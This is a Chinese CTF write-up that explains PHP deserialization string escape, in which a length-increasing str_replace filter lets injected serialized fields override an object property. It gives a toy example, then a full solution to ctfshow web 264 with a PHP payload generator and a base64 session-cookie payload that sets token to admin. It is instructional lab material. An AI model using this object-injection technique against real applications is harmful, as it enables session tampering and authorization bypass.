1. 程式人生 > 其它 >ctf 反序列化總結

ctf 反序列化總結

第一種,關鍵詞過濾,變多的
比如0ctf :piapiapia
我先說一次什麼是反序列化字元逃逸。

    <?php
     
    class user{
        public $user = 'admin';
        public $pass = 'passwd';
    }
     
     
    $a = new user();
    $b = serialize($a);
     
    echo $b."<br>";
     
     
    $c = unserialize($b);
     
    echo $c->pass;
     
     ?>

在這裡插入圖片描述

序列化後的字串應該能看出來,大括號外面有類名及長度,括號裡面以分號劃分多個變數,包含其變數名及長度,變數值及長度。

這些都是對應好的,而如果我們對比如user的值進行修改,改為admin1,而長度不變,當反序列化時就會報錯。

    <?php
     
        $a = 'O:4:"user":2:{s:4:"user";s:5:"admin1";s:4:"pass";s:6:"passwd";}';
        $b = unserialize($a);
        echo $b->pass;
     ?>

在這裡插入圖片描述
說明函式長度不等會報錯,很重要,當讀入s:5:時,系統就知道後面引號內是字串且長度為5,於是從雙引號開始讀入長度為5的字元,但由於admin1是6個字元,導致後面第6個字元該是雙引號來結束,卻沒有,由此產生異常。而如果我們設定的payload則可以越過這個異常。

···

<?php
 
function filter($str){
    $str = str_replace("ab","ccc",$str);
    return $str;
}
class user{
    public $user = 'ababababababababababababababababababababababababab";s:4:"pass";s:4:"hack";}';
    public $pass = 'passwd';
}
 
 
$a = new user();
echo serialize($a)."<br>";
 
$b = filter(serialize($a));
 
echo $b."<br>";
 
$c = unserialize($b);
 
echo $c->pass;
 
 
 
?>

其中,user的值有25個ab,經序列化後又對其進行替換,每替換一個ab,就多一個字元,這樣就可能會導致前面所說的系統知道的長度和實際長度不對應,就會報錯,但後面的payload=";s:4:“pass”;s:4:“hack”;},這樣就拼接起來,具體來說

初始序列化後為

在這裡插入圖片描述
可見長度為75,payload長度是為25,所以這裡使用了25個ab,當替換後就多出25個字元。待替換後就為:

O:4:"user":2:{s:4:"user";s:75:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:4:"hack";}";s:4:"pass";s:6:"passwd";}

你可以知道,c的個數剛好為75個,而系統讀入了75個字元想碰到雙引號也成功,之後就會繼續反序列化我們的payload,而在大括號之後的字元都會被擠進下一個引數中。

現在我們來寫一下ctfshow web 264

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);


hint :message.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: [email protected]
# @link: https://ctfer.com

*/
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

分析原始碼:
在這裡插入圖片描述
在這裡插入圖片描述
目的很清楚,就是要把user換成admin,那怎麼樣去實現的?
關鍵程式碼

$umsg = str_replace('fuck', 'loveU', serialize($msg));

他可以把fuck換為loveu,那我們這樣想,按照之前的想法,每替換一個,就會多出來一個字母,逃逸出去,如果我們可以構造出來多餘的部分
也就是說我們變數t後面就是要替換的,那我們先構造payload:

$t= ?+";s:5:"token";s:5:"admin";}';

然後我們知道";之後開始算數後面為

";s:5:"token";s:5:"admin";

不算’和;
在這裡插入圖片描述

計算出來要27個字元,也就是說我們要構造27個fuck不停的替換,最後把user替換成admin
那好,我們現在來接著構造
?=fuck*27+";s:5:“token”;s:5:“admin”;
完整的payload

<?php
class message{
   public $from;
   public $msg;
   public $to;
   public $token='user';
   public function __construct($f,$m,$t){
       $this->from = $f;
       $this->msg = $m;
       $this->to = $t;
   }
}
$f=0;
$m=0;
$t='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
//計算公式=2+你序列化之後的數字    2代表";,最後';是不算的
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg ;
echo "\n";
echo base64_encode($umsg);
?>

把base64編碼後的結果放到cookie裡面訪問message.php就能拿到flag

Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO2k6MDtzOjM6Im1zZyI7aTowO3M6MjoidG8iO3M6MTM1OiJsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVUiO3M6NToidG9rZW4iO3M6NToiYWRtaW4iO30iO3M6NToidG9rZW4iO3M6NDoidXNlciI7fQ